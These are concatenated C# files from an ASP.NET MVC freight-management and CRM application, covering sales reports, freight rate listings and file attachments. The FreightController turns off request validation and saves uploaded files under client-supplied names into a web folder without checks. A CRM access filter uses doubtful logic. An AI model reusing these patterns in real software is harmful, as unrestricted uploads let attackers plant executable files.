ViewData["ListReport1"] = ListReport1;
ViewData["ListReport2"] = ListReport2;
return View(model);
}
public ActionResult RepostSummary()
{
SalePerformamceModel performamceModel = null;
performamceModel = (SalePerformamceModel)Session["SalePerformamceModel1"];
if (performamceModel == null)
{
performamceModel = new SalePerformamceModel();
DateTime date = DateTime.Now;
performamceModel.Month = date.Month;
performamceModel.Year = date.Year;
}
// SalePerformanceProcess(ComId, DeptId, salePerformamceModel);
SalePerformceGetAll(performamceModel);
return View(performamceModel);
}
[HttpPost]
public ActionResult RepostSummary(SalePerformamceModel model, long? comId = null)
{
SalePerformceGetAll(model, comId);
return View(model);
}
public void SalePerformceGetAll(SalePerformamceModel model, long? comId = null)
{
DateTime searchDate = DateTime.Now;
DateTime searchDateTo = DateTime.Now;
model.Year = model.Year == 0 ? searchDate.Year : model.Year;
model.Month = model.Month == 0 ? searchDate.Month : model.Month;
if (model.Priod == 0)
{
searchDate = DateUtils.Convert2DateTime("01/" + DateUtils.ConvertDay("" + model.Month) + "/" + model.Year);
searchDateTo = DateUtils.Convert2DateTime("" + DateUtils.ConvertDay("" + DateTime.DaysInMonth(model.Year, model.Month)) + "/" + DateUtils.ConvertDay("" + model.Month) + "/" + model.Year);
}
else
{
try
{
searchDate = DateUtils.Convert2DateTime(model.DateFrom);
searchDateTo = model.DateTo != null ? DateUtils.Convert2DateTime(model.DateTo) : searchDateTo.AddDays(1);
}
catch (Exception e)
{
Logger.LogError(e);
}
}
var viewPerformancesCom = performanceService.GetPerformancesCom(searchDate, searchDateTo, comId);
ViewData["ViewPerformancesCom"] = summaryViewPerformance(viewPerformancesCom.ToList());
/* var quantityUnits1Com = ReportService1.getQuantityUnitsCom(viewPerformancesCom, searchDate, searchDateTo);
ViewData["QuantityUnits1Com"] = quantityUnits1Com.ToList();*/
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Globalization;
using SSM.Common;
namespace SSM.Utils
{
public class DateUtils
{
public static DateTime Convert2DateTime(String dateValue)
{
try
{
IFormatProvider culture = new CultureInfo("en-US", true);
DateTime DateTime1 = DateTime.ParseExact(dateValue, "dd/MM/yyyy", culture);
return DateTime1;
}
catch (Exception e)
{
Logger.LogError(e);
}
return DateTime.Now;
}
public static String ConvertDay(String day) {
if (day == null || day == "") {
return "01";
}
if (day.Length <= 1) {
day = "0" + day;
}
return day;
}
}
}<file_sep>using System;
using SSM.Models;
namespace SSM.ViewModels
{
public class RevenueCalculateViewModel
{
public long Id { get; set; }
public double BRate { get; set; }
public double ARate { get; set; }
public double SRate { get; set; }
public double INTransportRate { get; set; }
public double INInlandService { get; set; }
public double INCreditDebit { get; set; }
public double INDocumentFee { get; set; }
public double INHandingFee { get; set; }
public double INTHC { get; set; }
public double INCFS { get; set; }
//public string AutoName1 { get; set; }
//public string AutoName2 { get; set; }
public double INAutoValue1 { get; set; }
public double INAutoValue2 { get; set; }
public double OUTAutoValue1 { get; set; }
public double OUTAutoValue2 { get; set; }
public double INTransportRateOS { get; set; }
public double INInlandServiceOS { get; set; }
public double INCreditDebitOS { get; set; }
public double INDocumentFeeOS { get; set; }
public double INHandingFeeOS { get; set; }
public double INAutoValue1OS { get; set; }
public double INAutoValue2OS { get; set; }
public double EXAutoValue1OS { get; set; }
public double EXAutoValue2OS { get; set; }
public double EXTransportRateOS { get; set; }
public double EXTransportRate { get; set; }
public double EXInlandServiceOS { get; set; }
public double EXInlandService { get; set; }
public double EXCommision2Shipper { get; set; }
public double EXCommision2Carrier { get; set; }
public double EXTax { get; set; }
public double EXCreditDebit { get; set; }
public double EXCreditDebitOS { get; set; }
public double EXDocumentFee { get; set; }
public double EXHandingFee { get; set; }
public double EXTHC { get; set; }
public double EXCFS { get; set; }
//public string EXManualName1 { get; set; }
//public string EXManualName2 { get; set; }
public double EXManualValue1 { get; set; }
public double ExManualValue2 { get; set; }
public double EXmanualValue1OS { get; set; }
public double EXmanualValue2OS { get; set; }
public double InvoiceCustom { get; set; }
//public string Description4Invoice { get; set; }
//public string INRemark { get; set; }
//public string EXRemark { get; set; }
//public string INRemarkHidden { get; set; }
//public string EXRemarkHidden { get; set; }
//public double Income { get; set; }
//public double INVI { get; set; }
//public double INOS { get; set; }
//public double Expense { get; set; }
//public double EXVI { get; set; }
//public double EXOS { get; set; }
//public double Earning { get; set; }
//public double EarningVI { get; set; }
//public double EarningOS { get; set; }
public decimal InvAmount1 { get; set; }
//public string InvType1 { get; set; }
//public String InvCurrency1 { get; set; }
public long? InvAgentId1 { get; set; }
public decimal? InvAmount2 { get; set; }
//public string InvType2 { get; set; }
// public String InvCurrency2 { get; set; }
public long? InvAgentId2 { get; set; }
public double BonRequest { get; set; }
public double BonApprove { get; set; }
public decimal AmountBonus1 { get; set; }
public decimal AmountBonus2 { get; set; }
//public string AccInv1 { get; set; }
//public string AccInv2 { get; set; }
//public string AccInv3 { get; set; }
//public string AccInv4 { get; set; }
//public String AccInvDate1 { get; set; }
//public String AccInvDate2 { get; set; }
//public String AccInvDate3 { get; set; }
//public String AccInvDate4 { get; set; }
//public long? ApproveId { get; set; }
//public String ApproveName { get; set; }
//public long? AccountId { get; set; }
public int Tax { get; set; }
public long PaidToCarrier { get; set; }
//public String SaleType { get; set; }
public static RevenueCalculateViewModel ConvertModel(RevenueModel revenueModel)
{
var model = new RevenueCalculateViewModel
{
Id = revenueModel.Id,
BRate = revenueModel.BRate,
ARate = revenueModel.ARate,
SRate = revenueModel.SRate,
INTransportRate = revenueModel.INTransportRate,
INInlandService = revenueModel.INInlandService,
INCreditDebit = revenueModel.INCreditDebit,
INDocumentFee = revenueModel.INDocumentFee,
INHandingFee = revenueModel.INHandingFee,
INTHC = revenueModel.INTHC,
INCFS = revenueModel.INCFS,
//AutoName1 = revenueModel.AutoName1,
//AutoName2 = revenueModel.AutoName2,
INAutoValue1 = revenueModel.INAutoValue1,
INAutoValue2 = revenueModel.INAutoValue2,
OUTAutoValue1 = revenueModel.OUTAutoValue1,
OUTAutoValue2 = revenueModel.OUTAutoValue2,
INTransportRateOS = revenueModel.INTransportRateOS,
INInlandServiceOS = revenueModel.INInlandServiceOS,
INCreditDebitOS = revenueModel.INCreditDebitOS,
INDocumentFeeOS = revenueModel.INDocumentFeeOS,
INHandingFeeOS = revenueModel.INHandingFeeOS,
INAutoValue1OS = revenueModel.INAutoValue1OS,
INAutoValue2OS = revenueModel.INAutoValue2OS,
EXAutoValue1OS = revenueModel.EXAutoValue1OS,
EXAutoValue2OS = revenueModel.EXAutoValue2OS,
EXTransportRateOS = revenueModel.EXTransportRateOS,
EXTransportRate = revenueModel.EXTransportRate,
EXInlandServiceOS = revenueModel.EXInlandServiceOS,
EXInlandService = revenueModel.EXInlandService,
EXCommision2Shipper = revenueModel.EXCommision2Shipper,
EXCommision2Carrier = revenueModel.EXCommision2Carrier,
EXTax = revenueModel.EXTax,
EXCreditDebit = revenueModel.EXCreditDebit,
EXCreditDebitOS = revenueModel.EXCreditDebitOS,
EXDocumentFee = revenueModel.EXDocumentFee,
EXHandingFee = revenueModel.EXHandingFee,
EXTHC = revenueModel.EXTHC,
EXCFS = revenueModel.EXCFS,
EXManualValue1 = revenueModel.EXManualValue1,
ExManualValue2 = revenueModel.ExManualValue2,
EXmanualValue1OS = revenueModel.EXmanualValue1OS,
EXmanualValue2OS = revenueModel.EXmanualValue2OS,
InvoiceCustom = revenueModel.InvoiceCustom,
//Income = revenueModel.Income,
//INVI = revenueModel.INVI,
//INOS = revenueModel.INOS,
//Expense = revenueModel.Expense,
//EXVI = revenueModel.EXVI,
//EXOS = revenueModel.EXOS,
//Earning = revenueModel.Earning,
//EarningVI = revenueModel.EarningVI,
//EarningOS = revenueModel.EarningOS,
//InvType1 = revenueModel.InvType1,
//InvType2 = revenueModel.InvType2,
InvAgentId1 = revenueModel.InvAgentId1,
InvAgentId2 = revenueModel.InvAgentId2,
InvAmount1 = revenueModel.InvAmount1,
InvAmount2 = revenueModel.InvAmount2,
AmountBonus1 = revenueModel.AmountBonus1,
AmountBonus2 = revenueModel.AmountBonus2,
BonRequest = revenueModel.BonRequest,
BonApprove = revenueModel.BonApprove,
PaidToCarrier = revenueModel.PaidToCarrier,
Tax = revenueModel.Tax,
};
return model;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SSM.Models;
namespace SSM.Views.Shared
{
public partial class WarningUser : ViewUserControl<User>
{
protected void Page_Load(object sender, EventArgs e)
{
User model1 = (User)Model;
System.Console.Out.WriteLine("User Name = >>>>>" + model1.UserName);
}
}
}<file_sep>using System.Collections.Generic;
using System.Data.Linq;
using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.DomainProfiles
{
public class DataEntryProfile : Profile
{
protected override void Configure()
{
Mapper.CreateMap<Agent, AgentModel>()
.ForMember(dest => dest.User, opt => opt.MapFrom(src => src.User ?? null));
Mapper.CreateMap<Customer, CustomerModel>();
Mapper.CreateMap<Area, AreaModel>()
.ForMember(dest => dest.Country, opt => opt.MapFrom(src => src.Country ?? null))
.ForMember(dest => dest.IsTrading, opt => opt.MapFrom(src => src.trading_yn ?? false));
Mapper.CreateMap<Country, CountryModel>();
Mapper.CreateMap<Unit, UnitModel>();
Mapper.CreateMap<User, UsersModel>();
Mapper.CreateMap<CRMGroup, CRMBaseModel>()
.ForMember(dest => dest.ModelType, opt => opt.MapFrom(src => ModelType.CRMGroup));
Mapper.CreateMap<CRMEventType, CRMBaseModel>()
.ForMember(dest => dest.ModelType, opt => opt.MapFrom(src => ModelType.CRMEventType));
Mapper.CreateMap<CRMJobCategory, CRMBaseModel>()
.ForMember(dest => dest.ModelType, opt => opt.MapFrom(src => ModelType.CRMJobCategory));
Mapper.CreateMap<CRMStatus, CRMBaseModel>()
.ForMember(dest => dest.Code, opt => opt.MapFrom(src => (CRMStatusCode)src.Code))
.ForMember(dest => dest.ModelType, opt => opt.MapFrom(src => ModelType.CRMStatus));
Mapper.CreateMap<CRMSource, CRMBaseModel>()
.ForMember(dest => dest.ModelType, opt => opt.MapFrom(src => ModelType.CRMSource));
Mapper.CreateMap<CRMSchedule, CRMScheduleModel>()
.ForMember(dest => dest.DayOfWeek, opt => opt.MapFrom(src => string.IsNullOrEmpty(src.DayOfWeek) ? new List<int>() : src.DayOfWeek.Split(',').Select(int.Parse)));
Mapper.CreateMap<CRMContact, CRMContactModel>()
.ForMember(dest => dest.CRMCustomer, opt => opt.MapFrom(src => src.CRMCustomer ?? null));
Mapper.CreateMap<CRMCustomer, CRMCustomerModel>()
.ForMember(dest => dest.DataType, opt => opt.MapFrom(src => (CRMDataType)src.CrmDataType))
.ForMember(dest => dest.CustomerType, opt => opt.MapFrom(src => (CustomerType)src.CustomerType));
Mapper.CreateMap<CRMPriceQuotation, CRMPriceQuotationModel>()
.ForMember(dest => dest.CreatedBy, opt => opt.MapFrom(src => src.User ?? null))
.ForMember(dest => dest.CRMCustomer, opt => opt.MapFrom(src => src.CRMCustomer ?? null))
.ForMember(dest => dest.ModifiedBy, opt => opt.MapFrom(src => src.User1 ?? null));
Mapper.CreateMap<CRMEmailHistory, CRMEmailHistoryModel>()
.ForMember(dest => dest.PriceQuotation, opt => opt.MapFrom(src => src.CRMPriceQuotation ?? null));
Mapper.CreateMap<CRMVisit, CRMEventModel>()
.ForMember(dest => dest.DayOfWeek, opt => opt.MapFrom(src => string.IsNullOrEmpty(src.DayWeekOfRemider) ? new List<int>() : src.DayWeekOfRemider.Split(',').Select(int.Parse)))
.ForMember(dest => dest.CRMCustomer, opt => opt.MapFrom(src => src.CRMCustomer ?? null))
.ForMember(dest => dest.CRMEventType, opt => opt.MapFrom(src => src.CRMEventType ?? null))
.ForMember(dest => dest.Status, opt => opt.MapFrom(src => (CRMEventStatus)src.Status))
.ForMember(dest => dest.CreatedBy, opt => opt.MapFrom(src => src.User ?? null))
.ForMember(dest => dest.ModifiedBy, opt => opt.MapFrom(src => src.User1 ?? null));
Mapper.CreateMap<CRMCusDocument, CrmCusDocumentModel>()
.ForMember(dest => dest.CRMCustomer, opt => opt.MapFrom(src => src.CRMCustomer ?? null));
Mapper.CreateMap<CRMPlanProgram, CRMBaseModel>()
.ForMember(dest => dest.ModelType, opt => opt.MapFrom(src => ModelType.CRMPlanProgram));
Mapper.CreateMap<CRMPlanProgram, CRMPlanProgramModel>();
Mapper.CreateMap<CRMPLanSale, CRMPLanSaleModel>()
.ForMember(dest => dest.IsApproval, opt => opt.MapFrom(src => src.ApprovedDate != null && src.ApprovedById != null))
.ForMember(dest => dest.IsSubmited, opt => opt.MapFrom(src => src.SubmitedDate != null && src.SubmitedById != null));
Mapper.CreateMap<CRMPlanMonth, CRMPlanMonthModel>();
Mapper.CreateMap<CRMPlanProgMonth, CRMPlanProgMonthModel>();
Mapper.CreateMap<CRMPriceStatus, CRMBaseModel>()
.ForMember(dest => dest.Code, opt => opt.MapFrom(src => (CRMStatusCode)src.Code))
.ForMember(dest => dest.ModelType, opt => opt.MapFrom(src => ModelType.CRMPriceStatus));
Mapper.CreateMap<CRMFollowCusUser, CRMFollowCusUserModel>();
Mapper.CreateMap<CRMFollowEventUser, CRMFollowEventUserModel>();
Mapper.CreateMap<CarrierAirLine, CarrierModel>();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SSM.Models;
using System.Web.Routing;
using System.IO;
using SSM.Services;
namespace SSM.Controllers
{
public class ListItem
{
public String Value { get; set; }
public String Text { get; set; }
}
public class FreightController : Controller
{
public static String FREIGHT_PATH = "/FileManager/Freight";
private User User1;
private FreightServices _freightService;
private ShipmentServices _shipmentService;
private IAgentService agentService;
private ICarrierService carrierService;
private IAreaService areaService;
private IServicesTypeServices servicesType;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
_freightService = new FreightServicesImpl();
_shipmentService = new ShipmentServicesImpl();
carrierService = new CarrierService();
agentService = new AgentService();
areaService = new AreaService();
servicesType = new ServicesTypeServices();
ViewData["CountryList"] = new SelectList(agentService.GetAllCountry(), "Id", "CountryName");
ViewData["AirlineList"] = carrierService.GetAll(x => x.Type == CarrierType.AirLine.ToString());
ViewData["CarrierList"] = carrierService.GetAll(x => x.Type == CarrierType.ShippingLine.ToString());
ViewData["AgentList"] = agentService.GetAll();
List<String> List1 = new List<String>();
ViewData["AreaListDep"] = new SelectList(List1);
ViewData["AreaListDes"] = new SelectList(List1);
ViewData["ServiceList"] = Services;
User1 = (User)Session[AccountController.USER_SESSION_ID];
}
private IEnumerable<ServicesType> servicesList;
private SelectList Services
{
get
{
List<ServicesType> list = new List<ServicesType>();
var servicesTypeItem = new ServicesType { Id = 0, SerivceName = "--All Services--" };
list.Add(servicesTypeItem);
list.AddRange(servicesList ?? servicesType.GetAll(x => x.IsActive).OrderBy(x => x.SerivceName).ToList());
return new SelectList(list, "Id", "SerivceName");
}
}
private SelectList FreightTypes
{
get
{
var FreightTypes = from FreightModel.FreightTypes Sv in Enum.GetValues(typeof(FreightModel.FreightTypes))
select new { Id = Sv, Name = Sv.GetStringLabel() };
return new SelectList(FreightTypes, "Id", "Name");
}
}
public JsonResult GetJsonByFreightType(String FreightType)
{
IEnumerable<CarrierAirLine> CarrierAirLineList = null;
List<CarrierModel> Carrires = new List<CarrierModel>();
if (FreightModel.FreightTypes.AirFreight.ToString().Equals(FreightType))
{
CarrierAirLineList = carrierService.GetAllByType(CarrierType.AirLine.ToString());
}
else if (FreightModel.FreightTypes.OceanFreight.ToString().Equals(FreightType))
{
CarrierAirLineList = carrierService.GetAllByType(CarrierType.ShippingLine.ToString());
}
else
{
CarrierAirLineList = carrierService.GetQuery();
}
foreach (CarrierAirLine CarrierAirLine1 in CarrierAirLineList)
{
CarrierModel CarrierModel1 = new CarrierModel();
CarrierModel1.Id = CarrierAirLine1.Id;
CarrierModel1.Description = CarrierAirLine1.Description;
CarrierModel1.CarrierAirLineName = CarrierAirLine1.CarrierAirLineName;
Carrires.Add(CarrierModel1);
}
return this.Json(Carrires, JsonRequestBehavior.AllowGet);
}
public JsonResult GetJsonByCountry(long CountryId)
{
IEnumerable<Area> AreaList = areaService.GetAll(x => x.CountryId.Value == CountryId);
List<AreaModel> AreaModels = new List<AreaModel>();
foreach (Area Area1 in AreaList)
{
AreaModel AreaModel1 = new AreaModel();
AreaModel1.Id = Area1.Id;
AreaModel1.AreaAddress = Area1.AreaAddress;
AreaModel1.CountryId = CountryId;
AreaModels.Add(AreaModel1);
}
return this.Json(AreaModels, JsonRequestBehavior.AllowGet);
}
public ActionResult ListFreight(String FreightType)
{
ViewData["FreightType"] = FreightType;
if (FreightType == null)
{
FreightType = FreightModel.FreightTypes.OceanFreight.ToString();
}
IEnumerable<Freight> FreightList1 = _freightService.getAllFreightByType(FreightType);
FreightList1 = FreightList1.OrderByDescending(m => m.UpdateDate);
ViewData["FreightList1"] = FreightList1;
return View();
}
[HttpPost]
public ActionResult ListFreight(FreightModel FreightModel1, String FreightType)
{
ViewData["FreightType"] = FreightType;
if (FreightType == null)
{
FreightType = FreightModel.FreightTypes.OceanFreight.ToString();
}
IEnumerable<Area> AreaListDep = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDep == null ? 0 : FreightModel1.CountryNameDep);
IEnumerable<Area> AreaListDes = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDes == null ? 0 : FreightModel1.CountryNameDes);
if (AreaListDep == null || AreaListDep.Count() < 0)
{
AreaListDep = new List<Area>();
}
if (AreaListDes == null || AreaListDes.Count() < 0)
{
AreaListDes = new List<Area>();
}
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
IEnumerable<Freight> FreightList1 = _freightService.getAllFreight(FreightModel1, FreightType);
if ("Carrier".Equals(FreightModel1.SortType))
{
if ("asc".Equals(FreightModel1.SortOder))
{
FreightList1 = FreightList1.OrderBy(m => m.CarrierAirLine.AbbName);
}
else
{
FreightList1 = FreightList1.OrderByDescending(m => m.CarrierAirLine.AbbName);
}
}
else if ("Agent".Equals(FreightModel1.SortType))
{
if ("asc".Equals(FreightModel1.SortOder))
{
FreightList1 = FreightList1.OrderBy(m => m.Agent.AbbName);
}
else
{
FreightList1 = FreightList1.OrderByDescending(m => m.Agent.AbbName);
}
}
else if ("ValidDate".Equals(FreightModel1.SortType))
{
if ("asc".Equals(FreightModel1.SortOder))
{
FreightList1 = FreightList1.OrderBy(m => m.ValidDate);
}
else
{
FreightList1 = FreightList1.OrderByDescending(m => m.ValidDate);
}
}
else
{
FreightList1 = FreightList1.OrderByDescending(m => m.UpdateDate);
}
ViewData["FreightList1"] = FreightList1;
return View(FreightModel1);
}
//
// GET: /Freight/Details/5
public ActionResult Details(int id)
{
return View();
}
public ActionResult CreateFreight()
{
ViewData["FreightTypes"] = FreightTypes;
FreightModel model = new FreightModel();
model.ServiceId = 3;
return View(model);
}
//
// POST: /Freight/Create
[HttpPost]
[ValidateInput(false)]
public ActionResult CreateFreight(FreightModel FreightModel1)
{
if (ModelState.IsValid)
{
FreightModel1.UserId = User1.Id;
FreightModel1.CreateDate = DateTime.Now.ToString("dd/MM/yyyy");
FreightModel1.UpdateDate = DateTime.Now.ToString("dd/MM/yyyy");
if (FreightModel.FreightTypes.OceanFreight.ToString().Equals(FreightModel1.Type))
{
FreightModel1.ServiceName = ShipmentModel.Services.SeaInbound.ToString();
}
else if (FreightModel.FreightTypes.AirFreight.ToString().Equals(FreightModel1.Type))
{
FreightModel1.ServiceName = ShipmentModel.Services.AirInbound.ToString();
}
else if (FreightModel.FreightTypes.InlandRates.ToString().Equals(FreightModel1.Type))
{
FreightModel1.ServiceName = ShipmentModel.Services.InlandService.ToString();
}
else
{
FreightModel1.ServiceName = ShipmentModel.Services.Other.ToString();
}
FreightModel1.ServiceId = servicesType.GetId(FreightModel1.ServiceName);
Freight Freight1 = _freightService.CreateFreight(FreightModel1);
if (Freight1 != null)
{
foreach (string inputTagName in Request.Files)
{
HttpPostedFileBase file = Request.Files[inputTagName];
if (file.ContentLength > 0)
{
string filePath = Path.Combine(Server.MapPath("~/" + FREIGHT_PATH)
, Path.GetFileName(file.FileName));
file.SaveAs(filePath);
//save file to db
ServerFile ServerFile1 = new ServerFile();
ServerFile1.ObjectId = Freight1.Id;
ServerFile1.ObjectType = Freight1.GetType().ToString();
ServerFile1.Path = FREIGHT_PATH + "/" + file.FileName;
ServerFile1.FileName = file.FileName;
ServerFile1.FileSize = file.ContentLength;
ServerFile1.FileMimeType = file.ContentType;
_freightService.insertServerFile(ServerFile1);
}
}
}
return RedirectToAction("ListFreight", new { Id = 0, FreightType = FreightModel1.Type });
}
else
{
IEnumerable<Area> AreaListDep = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDep);
IEnumerable<Area> AreaListDes = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDes);
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
ViewData["FreightTypes"] = FreightTypes;
}
return View(FreightModel1);
}
private void viewServerFiles(Freight Freight1)
{
IEnumerable<ServerFile> ServerFiles = _freightService.getServerFile(Freight1.Id, Freight1.GetType().ToString());
ViewData["ServerFiles"] = ServerFiles;
}
public ActionResult DeleteServerFile(long id)
{
ServerFile file = _freightService.getServerFile(id);
long freightId = file.ObjectId.Value;
_freightService.deleteServerFile(id);
return RedirectToAction("EditFreight", new { id = freightId });
}
public ActionResult EditFreight(int id)
{
Freight Freight1 = _freightService.getFreightById(id);
FreightModel FreightModel1 = null;
if (Freight1 == null)
{
return RedirectToAction("ListFreight", new { Id = 0, FreightType = FreightModel.FreightTypes.OceanFreight.ToString() });
}
else
{
FreightModel1 = FreightModel.ConvertFreight(Freight1);
FreightModel1.CountryNameDep = Freight1.Area.CountryId == null ? 0 : Freight1.Area.CountryId.Value;
FreightModel1.CountryNameDes = Freight1.Area1.CountryId == null ? 0 : Freight1.Area1.CountryId.Value;
IEnumerable<Area> AreaListDep = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDep);
IEnumerable<Area> AreaListDes = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDes);
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
viewServerFiles(Freight1);
}
if (FreightModel1.Type.Equals(CarrierType.AirLine.ToString()))
{
ViewData["ALLCarrierList"] = carrierService.GetAllByType(CarrierType.AirLine.ToString());
}
else if (FreightModel1.Type.Equals(CarrierType.ShippingLine.ToString()))
{
ViewData["ALLCarrierList"] = carrierService.GetAllByType(CarrierType.ShippingLine.ToString());
}
else
{
ViewData["ALLCarrierList"] = carrierService.GetAll();
}
ViewData["FreightTypes"] = FreightTypes;
return View(FreightModel1);
}
//
// POST: /Freight/Edit/5
[HttpPost]
[ValidateInput(false)]
public ActionResult EditFreight(int id, FreightModel FreightModel1)
{
Freight Freight1 = _freightService.getFreightById(id);
if (ModelState.IsValid)
{
try
{
if (Freight1 != null)
{
FreightModel1.Id = id;
FreightModel1.CreateDate = Freight1.CreateDate.Value.ToString("dd/MM/yyyy");
FreightModel1.UpdateDate = DateTime.Now.ToString("dd/MM/yyyy");
FreightModel1.UserId = User1.Id;
if (FreightModel.FreightTypes.OceanFreight.ToString().Equals(FreightModel1.Type))
{
FreightModel1.ServiceName = ShipmentModel.Services.SeaInbound.ToString();
}
else if (FreightModel.FreightTypes.AirFreight.ToString().Equals(FreightModel1.Type))
{
FreightModel1.ServiceName = ShipmentModel.Services.AirInbound.ToString();
}
else if (FreightModel.FreightTypes.InlandRates.ToString().Equals(FreightModel1.Type))
{
FreightModel1.ServiceName = ShipmentModel.Services.InlandService.ToString();
}
else
{
FreightModel1.ServiceName = ShipmentModel.Services.Other.ToString();
}
_freightService.UpdateFreight(FreightModel1);
foreach (string inputTagName in Request.Files)
{
HttpPostedFileBase file = Request.Files[inputTagName];
if (file.ContentLength > 0)
{
string filePath = Path.Combine(HttpContext.Server.MapPath("~/" + FREIGHT_PATH)
, Path.GetFileName(file.FileName));
file.SaveAs(filePath);
//save file to db
ServerFile ServerFile1 = new ServerFile();
ServerFile1.ObjectId = Freight1.Id;
ServerFile1.ObjectType = Freight1.GetType().ToString();
ServerFile1.Path = FREIGHT_PATH + "/" + file.FileName;
ServerFile1.FileName = file.FileName;
ServerFile1.FileMimeType = file.ContentType;
ServerFile1.FileSize = file.ContentLength;
_freightService.insertServerFile(ServerFile1);
}
}
}
return RedirectToAction("ListFreight", new { Id = 0, FreightType = FreightModel1.Type });
}
catch
{
return View();
}
}
else
{
IEnumerable<Area> AreaListDep = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDep);
IEnumerable<Area> AreaListDes = _shipmentService.getAllAreaByCountry(FreightModel1.CountryNameDes);
ViewData["AreaListDep"] = new SelectList(AreaListDep, "Id", "AreaAddress");
ViewData["AreaListDes"] = new SelectList(AreaListDes, "Id", "AreaAddress");
ViewData["FreightTypes"] = FreightTypes;
viewServerFiles(Freight1);
}
return View(FreightModel1);
}
//
// GET: /Freight/Delete/5
public ActionResult Delete(int id)
{
String FreightType = FreightModel.FreightTypes.OceanFreight.ToString();
try
{
Freight Freight1 = _freightService.getFreightById(id);
FreightType = Freight1.Type;
_freightService.DeleteFreight(id);
return RedirectToAction("ListFreight", new { Id = 0, FreightType = FreightType });
}
catch (Exception e)
{
System.Console.Out.Write(e);
}
return RedirectToAction("ListFreight", new { Id = 0, FreightType = FreightType });
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.Services.CRM
{
public interface ICRMDocumentService : IServices<CRMCusDocument>
{
CRMCusDocument GetById(long id);
CrmCusDocumentModel GetModel(long id);
long InsertModel(CrmCusDocumentModel model);
void UpdateModel(CrmCusDocumentModel model);
void DeleteModel(long id);
IEnumerable<CrmCusDocumentModel> GetAll(CRMSearchModel filter, SSM.Services.SortField sortField, out int totalRows, int page, int pageSize, User currenUser);
}
public class CRMDocumentService : Services<CRMCusDocument>, ICRMDocumentService
{
private IServerFileService fileService;
public CRMDocumentService()
{
this.fileService = new ServerFileService();
}
public CRMCusDocument GetById(long id)
{
return FindEntity(x => x.Id == id);
}
public CrmCusDocumentModel GetModel(long id)
{
return ToModels(GetById(id));
}
public long InsertModel(CrmCusDocumentModel model)
{
var db = ToDbModel(model);
Insert(db);
return db.Id;
}
public void UpdateModel(CrmCusDocumentModel model)
{
var db = FindEntity(x => x.Id == model.Id);
if (db == null)
throw new ArgumentNullException("model");
ConvertModel(model, db);
Commited();
}
public void DeleteModel(long id)
{
var db = GetById(id);
if (db == null)
throw new ArgumentNullException("id");
Delete(db);
}
public IEnumerable<CrmCusDocumentModel> GetAll(CRMSearchModel filter, SortField sortField, out int totalRows, int page, int pageSize, User currenUser)
{
var qr = GetQuery(x => (!filter.Id.HasValue || filter.Id == x.CrmCusId) &&
(string.IsNullOrEmpty(filter.CompanyName) || (x.CRMCustomer != null && x.CRMCustomer.CompanyShortName.Contains(filter.CompanyName))) &&
(filter.SalesId == 0 ||
(x.CreatedById == filter.SalesId ||
(x.CRMCustomer.CRMFollowCusUsers != null && x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == currenUser.Id))) ||
(x.CRMCustomer.CreatedById == currenUser.Id))
&& (filter.DeptId == 0 || (x.User != null && x.User.DeptId == filter.DeptId)));
if (filter.FromDate.HasValue)
qr = qr.Where(x => x.ModifiedDate >= filter.FromDate);
if (filter.ToDate.HasValue)
qr = qr.Where(x => x.ModifiedDate <= filter.ToDate);
if ((!currenUser.IsAdmin() || !currenUser.IsAccountant()) && filter.SalesId == 0)
{
if (currenUser.IsDirecter())
{
var comid = Context.ControlCompanies.Where(x => x.UserId == currenUser.Id).Select(x => x.ComId).ToList();
comid.Add(currenUser.Id);
qr = qr.Where(x => comid.Contains(x.User.ComId.Value));
}
else if (currenUser.IsDepManager())
{
qr = qr.Where(x => x.User.DeptId == currenUser.DeptId ||
(x.CRMCustomer.CRMFollowCusUsers != null && x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == currenUser.Id)) ||
(x.CRMCustomer.CreatedById == currenUser.Id));
}
else
{
qr = qr.Where(x => x.CreatedById == currenUser.Id ||
(x.CRMCustomer.CRMFollowCusUsers != null && x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == currenUser.Id)) ||
(x.CRMCustomer.CreatedById == currenUser.Id));
}
}
totalRows = qr.Count();
qr = qr.OrderBy(sortField);
var list = GetListPager(qr, page, pageSize);
return list.Select(ToModels);
}
private CRMCusDocument ToDbModel(CrmCusDocumentModel model)
{
var db = new CRMCusDocument
{
DocName = model.DocName,
CrmCusId = model.CrmCusId,
ModifiedDate = DateTime.Now,
Description = model.Description,
LinkDoc = model.LinkDoc,
CreatedById = model.CreatedById
};
return db;
}
private void ConvertModel(CrmCusDocumentModel model, CRMCusDocument db)
{
db.DocName = model.DocName;
db.CrmCusId = model.CrmCusId;
db.ModifiedDate = DateTime.Now;
db.Description = model.Description;
db.LinkDoc = model.Description;
db.ModifiedById = model.ModifiedById;
}
private CrmCusDocumentModel ToModels(CRMCusDocument document)
{
if (document == null) return null;
var model = Mapper.Map<CrmCusDocumentModel>(document);
model.FilesList = fileService.GetServerFile(model.Id, model.GetType().ToString());
model.Sales = Context.Users.FirstOrDefault(x => x.Id == document.CreatedById);
return model;
}
}
}<file_sep>using System;
using System.Collections.Generic;
